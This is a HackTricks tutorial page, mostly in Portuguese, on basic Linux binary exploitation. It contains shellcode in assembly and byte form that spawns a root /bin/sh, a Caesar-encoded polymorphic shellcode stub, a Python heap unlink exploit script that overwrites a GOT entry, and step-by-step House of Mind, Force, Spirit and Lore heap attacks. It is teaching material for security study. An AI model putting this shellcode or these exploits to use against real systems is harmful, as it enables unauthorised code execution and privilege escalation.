hacktricks/exploiting/linux-exploiting-basic-esp/README.md

571 lines
32 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **2.SHELLCODE**
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpamos eax\
xor ebx, ebx ; ebx = 0 pois não há argumento que passar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Executar syscall
**nasm -f elf assembly.asm** —> Nos retorna um .o\
**ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código assembly e podemos extrair os opcodes com **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e extrair os OpCodes
**Verificar se a shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas do sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e além disso coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, portanto, com esse EIP podemos apontar para a string e além disso continuar executando o código.
EJ **TRUQUE (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ usando a Pilha(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
**Shellcodes polimórficos**
Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um **exemplo cifrado cesar**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5.Métodos complementarios**
**Técnica de Murat**
Em linux, todos os programas são mapeados começando em 0xbfffffff
Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta então pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_ejecutable\_completo) - strlen(shellcode)
Dessa forma, obter-se-ia de forma simples o endereço onde está a variável de ambiente com a shellcode.
Isso pode ser feito graças à função execle que permite criar um ambiente que tenha apenas as variáveis de ambiente desejadas.
###
###
###
###
###
### **Format Strings to Buffer Overflows**
A **sprintf moves** uma string formatada **para** uma **variável.** Portanto, você poderia abusar do **formato** de uma string para causar um **buffer overflow na variável** onde o conteúdo é copiado.\
Por exemplo, o payload `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um buffer overflow.
### **\_\_atexit Structures**
{% hint style="danger" %}
Hoje em dia é muito **estranho explorar isso**.
{% endhint %}
**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para uma shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64\_86**.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Hoje em dia é muito **estranho explorar isso**.
{% endhint %}
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
**`longjmp()`** permite **restaurar** o **contexto**.\
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela **função `PTR_MANGLE`**, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\
Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
**VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ele poderia ser **modificado** para **apontar** para um método fictício, de forma que a execução de uma função vá para a shellcode.
## **Medidas preventivas e evasões**
###
**Reemplazo de Libsafe**
É ativado com: LD\_PRELOAD=/lib/libsafe.so.2\
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
**ASCII Armored Address Space**
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system().
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de código**
Valgrind —> Busca erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev\_size |\
size | —Cabeçalho\
\*mem | Dados
**Trozo libre**
prev\_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabeçalho\
\*mem | Dados
Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam).
Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária.
Se ao liberar um trozo algum dos contíguos estiver livre, estes se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado.
unlink(){\
BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes\
FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes\
FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk\
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim se executa ao sair do programa a shellcode.
Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode.
Portanto, o exploit é criado:
No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode.
Depois da shellcode colocamos preenchimento até chegar ao campo prev\_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que se sobrescreva o prev\_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev\_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará **unlink()**.
Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, ali se colocará o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que o bit que indica que o trozo anterior está livre esteja a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º trozo está 4bytes atrás (aponta para prev\_size) pois é aí que olha se o 2º trozo está livre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload no início vamos colocar 8bytes de preenchimento**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que se sobrescreverá para que a shellcode seja lançada na 2ª vez que se chamar free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se disse, o payload começa com 8 bytes de preenchimento porque sim**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica o 2º trozo, o got\_free aponta para onde vamos guardar a direção addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 chunks consecutivos e eles são liberados na ordem inversa à reservada.
Nesse caso:
No chunk c colocamos a shellcode
O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado, de forma que pense que o chunk a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.
Então, o programa pensará que “a” está livre e em um bin, por isso chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, por isso em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
Dessa forma, se em bk colocarmos o endereço da shellcode e em fd colocarmos o endereço da função “puts()”-12, temos nosso payload.
**Técnica de Frontlink**
Chama-se frontlink quando se libera algo e nenhum de seus trozos contíguos está livre, não se chama unlink() mas sim diretamente frontlink().
Vulnerabilidade útil quando o malloc que se ataca nunca é liberado (free()).
Necessita:
Um buffer que possa ser desbordado com a função de entrada de dados
Um buffer contíguo a este que deve ser liberado e ao qual se modificará o campo fd de seu cabeçalho graças ao desbordamento do buffer anterior
Um buffer a liberar com um tamanho maior que 512, mas menor que o buffer anterior
Um buffer declarado antes do passo 3 que permita sobrescrever o prev\_size deste
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas que só se libera esse um, podemos fazer um exploit.
**Vulnerabilidade double free()**
Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço.
Caso se queira voltar a usar um, ele será atribuído sem problemas. Caso se queira usar outro, será atribuído o mesmo espaço, por isso teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior.
**After free()**
Um ponteiro previamente liberado é usado novamente sem controle.
## **8 Heap Overflows: Exploits avançados**
As técnicas de Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().
**The house of mind**
Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. É interessante buscar um segundo trozo que pode ser desbordado por um anterior e liberado.
Uma chamada a free() provoca chamar public\_fREe(mem), este faz:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde começa o trozo (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
\_int\_free(ar\_ptr, mem);
}
Em \[1] verifica o campo size o bit NON\_MAIN\_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap\_for\_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar\_ptr (como se fosse um struct heap\_info)
Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e vai ser liberado um trozo em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando esse segundo trozo for liberado, encontrará que heap\_for\_ptr(ptr)->ar\_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar\_ptr)
Dessa forma, chama-se \_int\_free(ar\_ptr, mem), ou seja, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que vai ser liberado.
Tal como se define unsorted\_chunks, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Portanto, se em av->bins\[2] escrevemos o valor de \_\_DTOR\_END\_\_-12, na última instrução se escreverá em \_\_DTOR\_END\_\_ o endereço do segundo trozo.
Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é daí que av->bins\[2] irá tirar.
No endereço que cair a direção do segundo trozo com os últimos 5 zeros, devemos escrever o endereço deste primeiro trozo para que heap\_for\_ptr() pense que o ar\_ptr está no início do primeiro trozo e tire de lá o av->bins\[2].
No segundo trozo e graças ao primeiro, sobrescrevemos o prev\_size com um jump 0x0c e o size com algo para ativar -> NON\_MAIN\_ARENA.
A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode.
Dessa forma, chamará \_int\_free(TROZO1, TROZO2) e seguirá as instruções para escrever em \_\_DTOR\_END\_\_ o endereço do prev\_size do TROZO2, o qual saltará para a shellcode.
Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
Essa técnica já não é aplicável, pois foi aplicado quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind.
Nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço do trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max\_fast esteja no endereço que vamos sobrescrever.
Dado que com The House of Mind vimos que nós controlávamos a posição do av.
Então, se no campo size colocamos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apontará para av->max\_fast.
Nesse caso, av->max\_fast será o endereço que será sobrescrito (não a que aponte, mas essa posição será a que será sobrescrita).
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops).
Além disso, esse mesmo trozo falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes mais além.
Por culpa dos nulos de \_DTOR\_END\_ e das poucas direções na GOT, nenhum endereço dessas seções serve para ser sobrescrito, assim que vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o **av** para a pilha.
Se modificarmos o size para que dê 16 em vez de 8, então: fastbin\_index() nos devolverá fastbins\[0] e podemos fazer uso disso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET.
Os 4 bytes nulos são necessários para que o **av** esteja nesse endereço e o primeiro elemento de um **av** é o mutex que deve valer 0.
O **av->max\_fast** será o EBP e será um valor que nos servirá para saltar as restrições.
No **av->fastbins\[0]** será sobrescrito com o endereço de **p** e será o RET, assim se saltará para a shellcode.
Além disso, em **av->system\_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá pular a verificação que é realizada.
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso).
**The House of Spirit**
Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48.
Se, por exemplo, o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que é escrito nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser.
Acredito que isso seja porque assim, quando o liberar, free() guardará que no endereço que aponta para o EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se deseja reservar, assim que lhe atribui esse endereço.
**The House of Force**
É necessário:
* Um overflow a um trozo que permita sobrescrever o wilderness
* Uma chamada a malloc() com o tamanho definido pelo usuário
* Uma chamada a malloc() cujos dados possam ser definidos pelo usuário
O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em \_int\_malloc() sem necessidade de expandir o heap.
O segundo é alterar o av->top para que aponte para uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará \&EIP - 8.
Temos que sobrescrever av->top para que aponte para a zona de memória sob o controle do atacante:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Por isso, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, se guardará em av->top o valor alterado e o próximo malloc apontará para o EIP e poderá sobrescrevê-lo.
É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para \&EIP-8, o size ficará justo no campo EBP da pilha.
**The House of Lore**
**Corrupção SmallBin**
Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se reserva um novo trozo e o anterior liberado pode servir, devolve-se a ele, mas se se reserva um maior, o trozo liberado em unsorted bins se coloca em seu bin adequado.
Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max\_fast (72 normalmente) e menor que MIN\_LARGE\_SIZE (512).
Se nos bins houver um trozo do tamanho adequado ao que se pede, devolve-se esse após desenlaçá-lo:
bck = victim->bk; Aponta para o trozo anterior, é a única info que podemos alterar.
bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se dará esse endereço.
bck->fd = bin; Fecha-se a lista fazendo com que este aponte para bin.
Necessita-se:
Que se reservem dois malloc, de forma que ao primeiro se possa fazer overflow após que o segundo tenha sido liberado e introduzido em seu bin (ou seja, tenha sido reservado um malloc superior ao segundo trozo antes de fazer o overflow).
Que o malloc reservado ao qual se dá o endereço escolhido pelo atacante seja controlado pelo atacante.
O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin será enganada e dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele.
Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduzirá em seu bin.
Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever.
Assim, o bin deverá esperar turno para que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa.
Para que a vulnerabilidade se execute o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, libera-se esse trozo, reserva-se um trozo maior ao que se modificará, modifica-se o trozo (vulnerabilidade), reserva-se um trozo de igual tamanho ao vulnerado e reserva-se um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido.
Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd\* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro.
**Corrupção LargeBin**
Necessita-se dos mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512.
O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se necessitam todas essas chamadas a malloc(), mas além disso, deve-se modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE.
Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
**Heap Spraying**
Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão, utiliza-se 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim, se se sobrescrever algum endereço ao qual se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops.
**Heap Feng Shui**
Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos.
**objdump -d executável** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCION** —> Obter endereço da função\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes\
**objdump -t ./exec | grep varBss** —> Tabela de símbolos, para tirar endereço de variáveis e funções\
**objdump -TR ./exec | grep exit(func lib)** —> Para tirar endereço de funções de bibliotecas (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Tira o endereço de puts a sobrescrever na GOT\
**objdump -D ./exec** —> Disas ALL até as entradas da plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info da função em gdb
## Cursos interessantes
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referências**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}